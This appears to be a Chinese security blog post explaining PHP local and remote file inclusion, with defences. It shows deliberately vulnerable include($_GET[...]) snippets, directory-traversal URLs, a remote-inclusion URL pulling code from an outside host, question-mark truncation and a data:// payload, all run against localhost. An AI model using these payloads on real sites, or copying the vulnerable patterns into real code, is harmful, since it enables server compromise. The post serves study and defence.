php本地文件包含 截断,php本地文件包含&远程文件包含

由头:面试的时候被问到了,有些东西还是实践的太少,写此博客记录一下。

php文件包含函数:

include()

require()

include_once()

require_once()

本地文件包含:

include($_GET['test']);

?>

exploit:

包含当前目录的 lfi.txt(内容为<?php phpinfo();?>):

0818b9ca8b590ca3270a3433284dd417.png

0818b9ca8b590ca3270a3433284dd417.png

跨目录包含:

http://localhost:81/lfi/lfi.php?test=../lfi.txt #包含上层目录的lfi.txt文件

http://localhost:81/lfi/lfi.php?test=/lfi_in/lfi.txt #包含内层目录的lfi.txt文件

防御:

防止跨目录:

在php.ini中设置open_basedir

open_basedir = C:\Program Files\phpStudy\WWW\lfi #限制在当前目录下(包括子目录)

open_basedir = C:\Program Files\phpStudy\WWW\lfi\ #限制在当前目录下(不包括子目录)

防止本地文件包含:

使用枚举

$file =$_GET['test'];

switch ($file) {

case 'lfi.txt':

include('./lfi.txt');

break;

default:

include('./notexists.txt');

break;

}

?>

远程文件包含:

include($_GET['file'].'txt');

?>

exploit:

http://localhost:81/lfi/rfi.php?file=http://ip_address/php/rfi/rfi.txt?

技巧:?被解释成url中的querystring,可用来在 远程文件包含 时 截断 代码中后面内容。

防御:

php.ini配置文件里allow_url_include=off

文件包含利用技巧:

1.远程文件包含时 利用 data://  (>5.2.0) 或者 input://协议

/rfi.php?file=data:text/plain,<?php %20phpinfo();?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值